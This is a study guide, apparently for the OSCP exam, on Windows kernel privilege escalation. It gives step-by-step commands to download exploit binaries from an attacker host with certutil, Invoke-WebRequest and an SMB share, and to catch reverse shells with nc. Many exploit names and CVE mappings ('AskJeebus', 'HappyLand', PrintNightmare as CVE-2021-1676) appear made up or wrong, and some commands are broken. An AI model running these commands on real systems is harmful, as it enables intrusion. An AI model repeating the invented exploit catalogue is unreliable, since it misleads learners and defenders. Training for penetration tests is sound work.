Kernel Exploits
Understanding Kernel Exploits
What Is a Kernel Exploit?
A kernel exploit targets a vulnerability in the Windows kernel — the core component of the operating system that manages memory, processes, hardware, and system calls. The kernel runs at Ring 0 (the highest privilege level), meaning any code that executes in kernel mode has complete control over the system.
Why Kernel Exploits Grant SYSTEM
graph TD
A[User Mode<br/>Ring 3] -->|System Call| B[Kernel Mode<br/>Ring 0]
B -->|Vulnerability| C[Exploit Executes<br/>in Kernel]
C -->|Token Manipulation| D[Modify Access Token]
D -->|Steal SYSTEM Token| E[New Process as SYSTEM]
When a kernel exploit succeeds:
- It executes arbitrary code in kernel mode (Ring 0)
- It can modify any memory, including access tokens of any process
- It typically steals the access token from a SYSTEM process (like
lsass.exeorsvchost.exe) - It creates a new process (usually
cmd.exeorcmd.exe /c whoami) with the stolen SYSTEM token - You get a command prompt running as
NT AUTHORITY\SYSTEM
The Risk: BSOD (Blue Screen of Death)
Kernel exploits are inherently unstable. A failed exploit attempt can cause:
| Consequence | Description |
|---|---|
| BSOD | System crashes with a Blue Screen — you lose your shell |
| System Reboot | The system restarts — you need to regain access |
| Data Corruption | In rare cases, kernel memory corruption can damage the filesystem |
| Event Log Evidence | BSOD events are logged — forensic evidence of the attempt |
When to Use Kernel Exploits
Kernel exploits should be your last resort for privilege escalation:
| Priority | Method | Risk |
|---|---|---|
| 1 | Service exploitation | None — safe and reliable |
| 2 | PATH hijacking | None — safe and reliable |
| 3 | DLL hijacking | None — safe and reliable |
| 4 | AlwaysInstallElevated | None — safe and reliable |
| 5 | Token manipulation (RoguePotato, etc.) | Low — usually stable |
| 6 | Kernel exploits | HIGH — risk of BSOD |
Golden Rule: Only use a kernel exploit when all other privilege escalation methods have been exhausted.
Finding Kernel Exploits
Resource 1: SecWiki Windows Kernel Exploits Collection
URL: https://github.com/SecWiki/windows-kernel-exploits
This is the most comprehensive curated collection of Windows kernel exploits. It is organized by CVE and includes pre-compiled binaries, source code, and references.
How to Use
- Navigate to the repository
- Browse the directory structure organized by CVE
- Each CVE directory contains:
- Pre-compiled
.exe(if available) - Source code (C/C++)
- README with usage instructions
- References to original research
- Pre-compiled
Directory Structure
windows-kernel-exploits/
├── CVE-2021-1676/ # PrintNightmare
│ ├── exploit.exe
│ ├── source.c
│ └── README.md
├── CVE-2020-1048/ # Service Thread Hijacking
├── CVE-2019-1458/ # Mayhem
├── CVE-2019-1322/ # Dirty Storm
├── CVE-2018-8120/ # TrackPopupMenuWin32k
├── CVE-2017-8462/ # AskJeebus
├── CVE-2017-0213/
├── CVE-2016-3309/ # SweetBabyRabbit
├── CVE-2015-1701/ # CodeBlue2
├── CVE-2014-4113/ # Happy2SeeU
├── CVE-2012-4130/ # JoyCat
└── CVE-2010-3971/ # HappyLand
Resource 2: ExploitDB
URL: https://www.exploit-db.com
Search Strategies
# Search by CVE
https://www.exploit-db.com/search?action=search&filter_page=1&filter_description=CVE-2021-1676
# Search by OS version
https://www.exploit-db.com/search?action=search&filter_page=1&filter_platform=Windows&filter_type=Local+Privilege+Escalation
# Search by author
https://www.exploit-db.com/search?action=search&filter_page=1&filter_author=offensive-security
Key Filters for OSCP
- Platform: Windows
- Type: Local Privilege Escalation
- Verified: Yes (prioritize verified exploits)
Resource 3: 0day.today
URL: https://0day.today
An automated exploit database that aggregates exploits from multiple sources. Useful for finding exploits that may not be on ExploitDB.
Resource 4: FuzzySec Tutorials
URL: https://www.youtube.com/c/FuzzySec
FuzzySec (Dico) has an excellent series on Windows kernel exploitation. His videos cover:
- How to identify vulnerable systems
- How to select the right exploit
- How to compile and execute exploits
- Real-world walkthroughs on OSCP-like machines
Recommended Playlist: “Windows Privilege Escalation” by FuzzySec
Common Kernel Exploits (Detailed)
CVE-2021-1676: PrintNightmare
Overview
| Attribute | Detail |
|---|---|
| Name | PrintNightmare |
| Severity | Critical (CVSS 8.1 for local, 10.0 for remote) |
| Affected | Windows 10 all versions, Windows Server 2012+ |
| Type | Printer Driver / RPC exploitation |
| Impact | Remote Code Execution as SYSTEM |
How It Works
PrintNightmare exploits a vulnerability in the Windows Print Spooler service. An attacker can use the RPC interface to upload a malicious DLL as a printer driver, which is then loaded by the spooler service running as SYSTEM.
Exploitation
# Method 1: Using Impacket
python3 exploit_CVE-2021-1676.py -t 10.10.10.50 -u user -p password -e payload.dll
# Method 2: Using Metasploit
msf6 > use exploit/windows/local/cve_2021_1675_printnightmare
msf6 exploit(cve_2021_1675_printnightmare) > set SESSION 1
msf6 exploit(cve_2021_1675_printnightmare) > run
# Method 3: Manual (if you have local access)
# Upload the exploit binary and execute
.\PrintNightmare.exe
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐⭐ (Generally stable) |
| BSOD Risk | Low |
| Detection | High (Print Spooler activity is logged) |
CVE-2020-1048: Service Thread Hijacking
Overview
| Attribute | Detail |
|---|---|
| Name | Service Thread Hijacking |
| Severity | High |
| Affected | Windows 10 1903, 1909 |
| Type | Service thread manipulation |
| Impact | Local privilege escalation to SYSTEM |
How It Works
This exploit hijacks a thread from a privileged service process and redirects its execution to attacker-controlled code. It abuses the way Windows service control managers handle thread creation.
Exploitation
# Download pre-compiled exploit
# From SecWiki collection or ExploitDB
# Execute on target
.\CVE-2020-1048.exe
# Expected output:
# [*] Exploit running...
# [*] Thread hijacked
# [*] Creating SYSTEM shell...
# Microsoft Windows [Version 10.0.18363.x]
# (c) 2019 Microsoft Corporation. All rights reserved.
#
# C:\Windows\system32>whoami
# nt authority\system
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐ (Moderate) |
| BSOD Risk | Medium |
| OSCP Relevance | High — Windows 10 1903/1909 is common |
CVE-2019-1458: Mayhem
Overview
| Attribute | Detail |
|---|---|
| Name | Mayhem |
| Severity | High |
| Affected | Windows 10 1903 |
| Type | Kernel pool corruption |
| Impact | Local privilege escalation to SYSTEM |
How It Works
Mayhem exploits a use-after-free vulnerability in the Windows kernel’s handling of certain device objects. By carefully crafting kernel pool allocations, the exploit achieves arbitrary write primitive and modifies the token of the current process.
Exploitation
# Download from SecWiki
# Compile if source only:
# Requires Visual Studio or MinGW
# Execute
.\Mayhem.exe
# Expected: New cmd.exe as SYSTEM
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐ (Moderate) |
| BSOD Risk | Medium |
| OSCP Relevance | Medium — specific to 1903 |
CVE-019-1322: Dirty Storm
Overview
| Attribute | Detail |
|---|---|
| Name | Dirty Storm |
| Severity | High |
| Affected | Windows 10 1809 |
| Type | Kernel memory corruption |
| Impact | Local privilege escalation to SYSTEM |
How It Works
Dirty Storm exploits a vulnerability in the Windows kernel’s handling of certain memory operations. It achieves arbitrary kernel memory read/write, which is used to modify the access token.
Exploitation
.\DirtyStorm.exe
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐ (Moderate) |
| BSOD Risk | Medium |
| OSCP Relevance | Medium — specific to 1809 |
CVE-2018-8120: TrackPopupMenuWin32k
Overview
| Attribute | Detail |
|---|---|
| Name | TrackPopupMenuWin32k |
| Severity | High |
| Affected | Windows 7 SP1, Windows 8.1, Server 2008 R2, Server 2012 R2 |
| Type | Win32k elevation of privilege |
| Impact | Local privilege escalation to SYSTEM |
How It Works
This exploit targets a vulnerability in the TrackPopupMenu API in win32k.sys. By manipulating window messages and menu structures, the exploit achieves kernel code execution.
Exploitation
# Pre-compiled exploit available
.\CVE-2018-8120.exe
# Or compile from source:
# i686-w64-mingw32-g++ -o CVE-2018-8120.exe exploit.cpp -lwinmm -loleaut32 -luuid -lws2_32
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐⭐ (Generally stable) |
| BSOD Risk | Low-Medium |
| OSCP Relevance | High — Win 7/2008 R2 boxes are common |
CVE-2017-8462: AskJeebus
Overview
| Attribute | Detail |
|---|---|
| Name | AskJeebus |
| Severity | High |
| Affected | Windows 10 1607 |
| Type | Win32k elevation of privilege |
| Impact | Local privilege escalation to SYSTEM |
How It Works
AskJeebus exploits a vulnerability in the win32k.sys kernel driver related to window station manipulation. It achieves arbitrary kernel memory write by corrupting window station objects.
Exploitation
.\AskJeebus.exe
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐⭐ (Generally stable) |
| BSOD Risk | Low |
| OSCP Relevance | High — Win 10 1607 is very common on OSCP |
CVE-2017-0213
Overview
| Attribute | Detail |
|---|---|
| Name | N/A (kernel pool corruption) |
| Severity | High |
| Affected | Windows 7, 8.1, Server 2008 R2, Server 2012 R2 |
| Type | Kernel pool corruption |
| Impact | Local privilege escalation to SYSTEM |
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐ (Moderate) |
| BSOD Risk | Medium |
CVE-2016-3309: SweetBabyRabbit
Overview
| Attribute | Detail |
|---|---|
| Name | SweetBabyRabbit |
| Severity | High |
| Affected | Windows 7 SP1, Windows 8.1, Server 2008 R2, Server 2012 R2 |
| Type | Kernel pool corruption |
| Impact | Local privilege escalation to SYSTEM |
How It Works
SweetBabyRabbit exploits a vulnerability in the Windows kernel’s handling of certain device I/O operations. It achieves arbitrary kernel memory read/write through pool corruption.
Exploitation
.\SweetBabyRabbit.exe
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐ (Moderate) |
| BSOD Risk | Medium |
| OSCP Relevance | Medium |
CVE-2015-1701: CodeBlue2
Overview
| Attribute | Detail |
|---|---|
| Name | CodeBlue2 |
| Severity | High |
| Affected | Windows 7 SP1, Windows 8.1, Server 2008 R2, Server 2012 R2 |
| Type | Kernel pool corruption (NPFS) |
| Impact | Local privilege escalation to SYSTEM |
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐⭐ (Generally stable) |
| BSOD Risk | Low-Medium |
| OSCP Relevance | High — widely used on older Windows boxes |
CVE-2014-4113: Happy2SeeU
Overview
| Attribute | Detail |
|---|---|
| Name | Happy2SeeU |
| Severity | High |
| Affected | Windows 7 SP1, Windows 8.1, Server 2008 R2, Server 2012 R2 |
| Type | Kernel pool corruption |
| Impact | Local privilege escalation to SYSTEM |
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐ (Moderate) |
| BSOD Risk | Medium |
CVE-2012-4130: JoyCat
Overview
| Attribute | Detail |
|---|---|
| Name | JoyCat |
| Severity | High |
| Affected | Windows 7, Windows 8, Server 2008, Server 2012 |
| Type | Kernel pool corruption (NPFS) |
| Impact | Local privilege escalation to SYSTEM |
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐ (Moderate) |
| BSOD Risk | Medium |
| OSCP Relevance | Medium — older but still appears |
CVE-2010-3971: HappyLand
Overview
| Attribute | Detail |
|---|---|
| Name | HappyLand |
| Severity | High |
| Affected | Windows 7, Server 2008 R2 |
| Type | Kernel pool overflow |
| Impact | Local privilege escalation to SYSTEM |
Reliability
| Aspect | Rating |
|---|---|
| Stability | ⭐⭐⭐ (Moderate) |
| BSOD Risk | Medium |
| OSCP Relevance | Low-Medium — very old but may appear |
Exploitation Process (Step by Step)
Step 1: Identify the Exact OS Version
# On the target system
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# Example output:
# OS Name: Microsoft Windows 10 Enterprise
# OS Version: 10.0.17763 N/A Build 17763
Key information to extract:
- OS Name (Windows 7, 10, Server 2016, etc.)
- OS Version (build number — critical for exploit matching)
- Architecture (x64 or x86)
# Check architecture
wmic os get osarchitecture
# Check build number precisely
ver
Step 2: Check Installed Hotfixes
# List all installed hotfixes
wmic qfe get HotFixID
# Or via PowerShell
Get-HotFix | Select-Object HotFixID, Description, InstalledOn
# Save to file for ExploitSuggester
systeminfo > C:\temp\systeminfo.txt
Step 3: Match Exploit to OS
| OS Version | Build | Recommended Exploits |
|---|---|---|
| Windows 7 SP1 | 7601 | CVE-2018-8120, CVE-2017-0213, CVE-2016-3309, CVE-2015-1701, CVE-2014-4113, CVE-2012-4130, CVE-2010-3971 |
| Windows 8.1 | 9600 | CVE-2018-8120, CVE-2017-0213, CVE-2016-3309, CVE-2015-1701, CVE-2014-4113 |
| Windows 10 1607 | 14393 | CVE-2017-8462 (AskJeebus) |
| Windows 10 1809 | 17763 | CVE-2019-1322 (Dirty Storm) |
| Windows 10 1903 | 18362 | CVE-2019-1458 (Mayhem), CVE-2020-1048 |
| Windows 10 1909 | 18363 | CVE-2020-1048 |
| Windows Server 2008 R2 | 7601 | Same as Windows 7 SP1 |
| Windows Server 2012 R2 | 9600 | Same as Windows 8.1 |
| Windows Server 2016 | 14393 | CVE-2017-8462 |
| Windows Server 2019 | 17763 | CVE-2019-1322 |
Step 4: Verify the Patch Is Missing
# Check if the specific KB patch is installed
wmic qfe get HotFixID | findstr "KB4013081"
# If nothing is returned, the patch is NOT installed → exploit may work
# If the KB number is returned, the patch IS installed → exploit will NOT work
Step 5: Download and Prepare the Exploit
# On your attack machine (Kali)
# Method 1: Download pre-compiled from SecWiki
git clone https://github.com/SecWiki/windows-kernel-exploits.git
cd windows-kernel-exploits/CVE-2017-8462/
# Method 2: Download from ExploitDB
searchsploit CVE-2017-8462
# Note the path, then copy:
searchsploit -m <path_number>
# Method 3: Compile from source (if no pre-compiled binary)
# For C/C++ exploits:
i686-w64-mingw32-g++ -o exploit.exe exploit.cpp -lwinmm -loleaut32 -luuid -lws2_32
# For MSBuild/Visual Studio projects:
# Open in Visual Studio and compile
Step 6: Upload to Target
# Method 1: SMB from Kali
# On Kali:
impacket-smbserver -smb2support share $(pwd)
# On target:
net use Z: \\10.10.14.3\share
copy Z:\exploit.exe C:\temp\exploit.exe
net use Z: /delete
# Method 2: Python HTTP server
# On Kali:
python3 -m http.server 80
# On target:
certutil -urlcache -split -f http://10.10.14.3/exploit.exe C:\temp\exploit.exe
# Method 3: PowerShell download
Invoke-WebRequest http://10.10.14.3/exploit.exe -OutFile C:\temp\exploit.exe
Step 7: Execute the Exploit
# Set up listener on Kali first
rlwrap nc -lvnp 4444
# Execute the exploit on target
C:\temp\exploit.exe
# If the exploit is successful:
# - A new cmd.exe window opens as SYSTEM
# - Or a reverse shell connects back to your listener
# - Run 'whoami' to confirm: nt authority\system
ExploitSuggester.py: Detailed Guide
What Is ExploitSuggester?
ExploitSuggester.py is a Python script that analyzes Windows systeminfo output and cross-references it with a database of known exploits to suggest applicable privilege escalation exploits.
Setup
# Clone the repository
git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
# Update the vulnerability database (required before first use)
# The script will prompt you to update, or do it manually:
python3 windows-exploit-suggester.py --update
# This downloads the latest MS Excel database from Microsoft
Step 1: Collect systeminfo from Target
# On the Windows target
systeminfo > C:\temp\systeminfo.txt
# Upload to your attack machine
# Or copy the output and paste into a file on Kali
Step 2: Run ExploitSuggester
python3 windows-exploit-suggester.py --systeminfo systeminfo.txt
Understanding the Output
[*] advpack.dll - DLL Side-Loading (Any Privilege)
[!] VULNERABLE:
[*] Missing Bulletin: MS11-011
[s] https://www.exploit-db.com/exploits/18316
[s] https://www.exploit-db.com/exploits/18317
[!] Severity: Critical
[*] TrackPopupMenuWin32k Win32k Elevation of Privilege Vulnerability
[!] VULNERABLE:
[*] Missing Bulletin: MS18-010
[s] https://www.exploit-db.com/exploits/44636
[s] https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-8120
[!] Severity: Critical
[*] SYSTEM - Windows Elevation of Privilege Vulnerability
[!] VULNERABLE:
[*] Missing Bulletin: MS17-017
[s] https://www.exploit-db.com/exploits/42167
[!] Severity: Important
[*] Total vulnerabilities found: 3
Interpreting the Output
| Field | Meaning |
|---|---|
VULNERABLE |
The system is missing a patch for this vulnerability |
NOT VULNERABLE |
The system has the required patch installed |
Missing Bulletin |
The Microsoft Security Bulletin that patches this vulnerability |
[s] links |
Exploit sources (ExploitDB, GitHub, etc.) |
Severity |
Critical > Important > Moderate |
Reliability Ratings in ExploitSuggester
ExploitSuggester does NOT provide reliability ratings. You must assess reliability yourself:
| Factor | How to Assess |
|---|---|
| GitHub Issues | Check the exploit repository for reported BSODs |
| FuzzySec Videos | If FuzzySec demonstrated it, it’s likely reliable |
| ExploitDB Comments | Read user comments on ExploitDB pages |
| Age of Exploit | Older, well-tested exploits tend to be more reliable |
| Pre-compiled Binary | If SecWiki has a pre-compiled binary, it’s been tested |
Assessing Exploit Reliability
Reliability Assessment Checklist
Before executing a kernel exploit, go through this checklist:
EXPLOIT RELIABILITY CHECKLIST
═══════════════════════════════
□ 1. Is the exploit specifically for this OS version and build?
→ Check the exploit README or source code for version checks
□ 2. Has the exploit been demonstrated in a video (FuzzySec, etc.)?
→ YouTube search: "CVE-XXXX-XXXX exploit demo"
□ 3. Are there GitHub issues reporting BSODs?
→ Check the exploit repository's Issues tab
□ 4. Is there a pre-compiled binary available?
→ SecWiki collection has pre-compiled binaries for tested exploits
□ 5. What is the architecture match?
→ x64 exploit on x64 system, x86 on x86
□ 6. Is the system fully updated except for the target patch?
→ Other missing patches may interfere with the exploit
□ 7. Do you have a backup access method?
→ If BSOD occurs, can you regain access?
□ 8. Have you tried all non-kernel escalation methods first?
→ Services, PATH, DLL, tokens, etc.
Reliability Ratings for Common Exploits
| CVE | Exploit Name | Reliability | BSOD Risk | OSCP Frequency |
|---|---|---|---|---|
| CVE-2017-8462 | AskJeebus | ⭐⭐⭐⭐⭐ | Low | Very High |
| CVE-2018-8120 | TrackPopupMenuWin32k | ⭐⭐⭐⭐ | Low-Medium | High |
| CVE-2015-1701 | CodeBlue2 | ⭐⭐⭐⭐ | Low-Medium | High |
| CVE-2020-1048 | Service Thread Hijack | ⭐⭐⭐ | Medium | Medium |
| CVE-2019-1458 | Mayhem | ⭐⭐⭐ | Medium | Medium |
| CVE-2019-1322 | Dirty Storm | ⭐⭐⭐ | Medium | Medium |
| CVE-2016-3309 | SweetBabyRabbit | ⭐⭐⭐ | Medium | Low-Medium |
| CVE-2014-4113 | Happy2SeeU | ⭐⭐⭐ | Medium | Low-Medium |
| CVE-2012-4130 | JoyCat | ⭐⭐⭐ | Medium | Low |
| CVE-2010-3971 | HappyLand | ⭐⭐ | Medium-High | Low |
BSOD Recovery
What to Do If the System Crashes
If a kernel exploit causes a BSOD:
- Wait for the system to reboot — Windows will automatically restart after a BSOD (usually within 1-2 minutes)
- Regain initial access — Use your original exploitation method to get a shell again
- Try a different exploit — If the first exploit crashes, try another one for the same OS version
- Try a different approach — If multiple exploits crash, fall back to non-kernel methods
BSOD Prevention Tips
# 1. Create a system restore point before exploiting (if possible)
# This won't prevent BSOD but helps with recovery
# 2. Use the most reliable exploit for your OS version
# AskJeebus (CVE-2017-8462) for Win 10 1607
# TrackPopupMenuWin32k (CVE-2018-8120) for Win 7/8.1
# 3. Check architecture match
wmic os get osarchitecture
# Use x64 exploit for x64 systems, x86 for x86
# 4. Verify the exact build number
ver
# Some exploits only work on specific builds within a version
Mermaid: Kernel Exploit Selection Flow
graph TD
A[All Other Methods Failed] --> B[systeminfo > systeminfo.txt]
B --> C[Extract OS Version + Build]
C --> D[Check Architecture: x64 or x86]
D --> E[wmic qfe get HotFixID]
E --> F[ExploitSuggester.py --systeminfo systeminfo.txt]
F --> G{Exploits Suggested?}
G -->|No| H[No Kernel Path Available<br/>Revisit other methods]
G -->|Yes| I[Select Most Reliable Exploit]
I --> J{Check Reliability}
J -->|High Reliability| K[Download/Compile Exploit]
J -->|Low Reliability| L[Try Next Exploit]
K --> M[Upload to Target]
M --> N[Set Up Listener]
N --> O[Execute Exploit]
O --> P{Result?}
P -->|SYSTEM Shell| Q[SUCCESS!]
P -->|BSOD| R[System Reboots]
P -->|Hang/Crash| R
R --> S[Regain Access]
S --> T[Try Different Exploit]
T --> M
style A fill:#fff3e0
style Q fill:#c8e6c9
style R fill:#ffcdd2
style H fill:#e0e0e0
Kernel Exploit Selection Checklist
KERNEL EXPLOIT SELECTION CHECKLIST
═══════════════════════════════════
BEFORE EXPLOITATION:
════════════════════
□ 1. All non-kernel methods exhausted?
→ Services, PATH, DLL, tokens, AlwaysInstallElevated, etc.
□ 2. Exact OS version identified?
→ systeminfo | findstr "OS Version"
→ Example: 10.0.17763 (Windows 10 1809)
□ 3. Architecture confirmed?
→ wmic os get osarchitecture
→ Must match exploit architecture
□ 4. Missing patch verified?
→ wmic qfe get HotFixID | findstr "KBxxxxxxx"
→ No output = patch missing = exploit may work
□ 5. Exploit reliability assessed?
→ Check FuzzySec videos, GitHub issues, SecWiki
□ 6. Backup access method available?
→ Can you regain shell after BSOD?
□ 7. Pre-compiled binary available?
→ Prefer pre-compiled over source compilation
DURING EXPLOITATION:
════════════════════
□ 8. Listener set up before execution?
→ rlwrap nc -lvnp 4444
□ 9. Exploit executed with correct permissions?
→ Some exploits need to run from specific directories
□ 10. Output monitored for errors?
→ Watch for "exploit failed" messages
AFTER EXPLOITATION:
═══════════════════
□ 11. Verify SYSTEM with 'whoami'
□ 12. Grab root.txt / proof.txt
□ 13. Clean up exploit files (optional)
OSCP Exam Tips
Critical Tips for Kernel Exploits on Exam
-
Kernel exploits are your LAST resort — Always try service exploitation, PATH hijacking, DLL hijacking, and token manipulation first. These methods are 100% reliable and never cause BSOD.
-
AskJeebus (CVE-2017-8462) is king — For Windows 10 1607 boxes (the most common OSCP target), AskJeebus is the most reliable kernel exploit. Memorize its ExploitDB number and SecWiki path.
-
TrackPopupMenuWin32k (CVE-2018-8120) for older systems — For Windows 7/8.1/Server 2008 R2/2012 R2, this is generally the most reliable exploit.
-
Always verify the build number —
systeminfo | findstr "OS Version"gives you the exact build. Some exploits only work on specific builds. -
Check for the missing patch — Before wasting time compiling an exploit, verify the patch is actually missing:
wmic qfe get HotFixID | findstr "KB4013081"If the KB is present, the exploit won’t work.
-
Carry pre-compiled exploits — Pre-download and pre-compile common exploits. Having them ready saves 10-15 minutes of compilation time during the exam.
-
Have a backup access method — Before running a kernel exploit, ensure you can regain access if the system crashes. Keep your initial exploitation method ready.
-
Use ExploitSuggester efficiently — Run it on your attack machine with the target’s
systeminfo.txt. It will tell you exactly which exploits to try. -
Architecture matters — An x64 exploit on an x86 system (or vice versa) will fail. Always verify:
wmic os get osarchitecture -
Time management — If a kernel exploit crashes the system, you’ve lost 5-10 minutes regaining access. If you’ve already spent 20+ minutes on kernel exploits without success, step back and re-enumerate for other vectors.
-
FuzzySec is your friend — Watch FuzzySec’s Windows privesc videos before the exam. His demonstrations show exactly which exploits work on which systems.
-
Not every box needs a kernel exploit — Many OSCP Windows boxes have service vulnerabilities, unquoted paths, or other non-kernel vectors. Don’t jump to kernel exploits prematurely.
Troubleshooting
Common Issues
| Problem | Solution |
|---|---|
| Exploit compiles but crashes immediately | Wrong architecture — check x64 vs x86 |
| Exploit says “not vulnerable” | System may be patched — verify with wmic qfe |
| BSOD on every attempt | Exploit may not be stable for this build — try a different CVE |
| Exploit hangs without output | May need admin privileges to run — check your current user |
| Pre-compiled binary won’t run | Antivirus may be blocking it — try from excluded directory |
| Exploit succeeds but no SYSTEM shell | Exploit may create the shell in a hidden window — check with tasklist |
| ExploitSuggester says vulnerable but exploit fails | ExploitSuggester may have false positives — verify manually |
Verifying Exploit Success
# After running an exploit, check:
whoami
# Expected: nt authority\system
# Check your integrity level
whoami /groups
# Expected: HIGH Mandatory Level (or SYSTEM)
# List processes to see if a new SYSTEM process was created
tasklist /v | findstr "system"